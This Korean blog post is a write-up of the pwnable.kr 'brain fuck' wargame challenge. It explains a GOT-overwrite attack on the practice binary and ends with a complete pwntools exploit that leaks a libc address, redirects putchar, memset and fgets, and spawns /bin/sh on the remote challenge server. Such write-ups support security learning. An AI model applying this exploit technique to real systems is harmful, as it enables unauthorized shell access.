달력

5

« 2024/5 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
2017. 7. 9. 15:18

[문제풀이] pwnable.kr - brain fuck Wargames/pwnable.kr2017. 7. 9. 15:18



이번 문제는 별도로 학습해야 하는 선수지식이 없는 관계로 바로 문제풀이를 하도록 하겠다.



※ 문제풀이 


우선 문제가 어떻게 동작하는지 파악하기 위해 먼저 돌려보도록 하겠다. 


[그림 1] 문제 실행 시 


[그림 1]과 같이 특정 문자열과 함께 내 입력을 받기 위한 대기를 한다. 

분석을 하기 위해 바이너리 파일을 다운로드 받아서 IDA로 열어보았다. 



[그림 2] 입력한 값에 따른 동작 구문


[그림 2]는 내가 입력한 문자열 중 하나의 문자씩 가지고 와서 해당 문자에 필요한 동작을 수행하는 스위치 부분이다.

이 문제를 풀기 위해서는 위 스위치 구문 중 아래와 같은 구문을 활용해야 한다. 


[그림 3] 익스플로잇 시 필요한 동작 1


[그림 4] 익스플로잇 시 필요한 동작 2


간단히 위 동작들로 하는 행위는 원하는 위치로 이동한 다음 값을 보거나 값을 수정하는 것이다. 

.GOT.PLT 영역의 값을 변경할 경우 흐름을 변경하는 건 말 안해도 뻔한 사실이다. 



해당 문제를 풀기 위해선 아래와 같은 행위를 해야 한다. 

  1. 포너블 시스템의 함수 주소를 파악
    이를 위해서 문제에서 제공하는 bf_libc.so 파일에서 제공되는 오프셋 주소를 이용해서 실제 프로그램 내에 주소를 파악한 뒤 라이브러리의 기본 주소를 파악해야 한다. 

  2. putchar 함수의 .got.plt 섹션 값 변경
    putchar 함수의 .got.plt 섹션 값을 메인 함수의 시작 부분으로 변경하고 memset 함수를 ret 값으로 설정하여 무력화시킨다. 이 값은 fgets 함수를 다시 호출하여 내용을 덮어쓰기 위함이다. 
    (putchar 함수의 .got.plt 섹션 값을 메인 함수 중간으로 바로 들어갈 경우 스택을 참조할 때에는 스택 프레임이 달라져서 에러가 발생할 수 있고 레지스터를 참조할 경우 레지스터 값이 달라서 에러가 발생할 수 있다)

  3. fgets 함수의 .got.plt 섹션 값을 system 함수 주소로 변경 
    1번에서 획득한 기본 주소에 system 함수 오프셋을 더해 해당 값을 이용하여 .got.plt 섹션 값을 변경한다. 이러한 행위는 2번이 완료된 뒤에 이루어져야 한다. 


자, 이제 순서대로 포인트만 딱딱 집어 봐보도록 하자. 


우선 포너블 시스템에서의 함수 주소를 파악하기 위해서는 포인터의 주소를 뒤로 쭈우우욱 땡겨서 .got.plt에 위치시킨 다음에 putchar 함수를 동작시키는 "."을 수행하는 것이다. 


[그림 5] 메모리 노출을 위해 전달되는 문자열


[그림 5]는 파이썬으로 작성되어 있지만 그냥 문자로 직접 입력해도 된다. 

그러면 깨진 형태의 문자를 출력할 것이다. 뭐 헥사 값으로 변경해서 출력해주면 된다. 

파이썬의 무슨 함수를 써야하는지 몰라서 좀 해멨다. 젠장 ㅋ


[그림 6] 제공된 라이브러리에서 함수 오프셋 구하는 방법


그런 다음 [그림 6]과 같이 사용할 함수의 오프셋을 구한다. 물론 제공된 라이브러리에서 해야 한다. 

위와 같은 방법 외에 GDB를 이용하는 방법도 존재한다.


그럼 위 내용을 바탕으로 익스플로잇 코드를 작성해보도록 하겠다.


from pwn import *


#p = process('/home/pwn/bf/bf')


p = remote('pwnable.kr', 9001)

MAIN_ADDR = 0x08048671

RET_ADDR = 0x08048792


FGETS_GOT_PLT = 0x0804a010

MEMSET_GOT_PLT = 0x0804a02c

PUTCHAR_GOT_PLT = 0x0804a030



PUTCHAR_OFFSET = 0x00060c80

SYSTEM_OFFSET = 0x0003a920 


TAPE = 0x0804a0a0



payload = '.'

payload += '<' * (TAPE - PUTCHAR_GOT_PLT)

payload += '.>.>.>.<<<'

payload += ',>,>,>,<<<'


payload += '<' * (PUTCHAR_GOT_PLT - MEMSET_GOT_PLT)

payload += ',>,>,>,<<<'

payload += '.'


payload += '<' * (TAPE - FGETS_GOT_PLT)

payload += ',>,>,>,'

payload += '.'


p.recvuntil('[ ]\n')

p.sendline(payload)


p.recvn(1)

libc = u32(p.recvn(4)) - PUTCHAR_OFFSET

#log.success('libc is at 0x%x' % libc)

p.send(p32(MAIN_ADDR))

p.send(p32(RET_ADDR))


p.recvuntil('[ ]\n')

p.sendline('/bin/sh\x00')

p.send(p32(libc + SYSTEM_OFFSET))


p.interactive()


위 코드를 실행시키면 아래와 같이 답이 나온다. 


[그림 7] 답



문제풀이 끝!




알게된 내용 !!

함수의 중간으로 실행 흐름을 바꿀 때에는 스택 프레임과 레지스터 등을 고려해야 한다. 




전체적으로 살펴보고 가능성이 있는 부분과 아닌 부분을 빠르게 나누는 연습을 하자. 

프로그램 내에서의 흐름을 파악한 뒤 유연하게 재조립 해보자. 

못풀더라도 공부한다는 마음으로 완벽하게 이해하자. 

제공된 답 외에 접근 방법을 연구해보자. 





:
Posted by einai